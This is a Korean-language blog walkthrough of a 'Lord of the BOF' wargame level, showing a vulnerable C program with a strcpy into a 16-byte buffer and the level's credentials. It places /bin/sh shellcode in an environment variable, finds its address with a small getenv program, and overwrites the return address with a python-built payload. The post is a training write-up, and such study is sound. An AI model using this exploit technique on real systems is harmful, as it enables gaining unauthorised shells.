SH1R0_HACKER
2. gremlin -> cobolt 본문
login : gremlin
passworld : hello bof world
[ cobolt.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
gremlin이랑 별 차이가 없어보인다.
다만 버퍼의 크기가 16byte로 쉘코드(25byte)를 넣을 수 있는 공간이 부족하다.
이럴 땐 환경변수의 메모리주소를 RET에 넣어 환경변수의 내용 (쉘코드) 가 실행되도록 해주자.
[ GDB 분석 ]
buffer와 ret의 거리는 사이트를 통해 구했다 : 20byte
attack 이라는 이름으로 환경변수를 만들었다.
쉘코드는 gremlin에서 푼 코드를 그대로 사용했다.
export attack=`python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
환경변수의 주소값을 알아내기 위해 getenv를 사용하여 코드를 작성한다.
#include <stdio.h>
int main()
{
printf("%p\n",getenv("attack"));
}
컴파일하자.
gcc -o export export.c
export를 실행하니 환경변수의 주소가 나온다.
0xbffffc8c
페이로드를 작성하자.
./cobolt `python -c 'print "\x90"*20+"\x8c\xfc\xff\xbf"'`
'System > The Lord of BOF' 카테고리의 다른 글
6. wolfman -> darkelf (0) | 2020.10.24 |
---|---|
5. orc -> wolfman (0) | 2020.10.22 |
4. goblin -> orc (0) | 2020.10.22 |
3. cobolt -> goblin (0) | 2020.10.21 |
1. gate -> gremlin (0) | 2020.10.18 |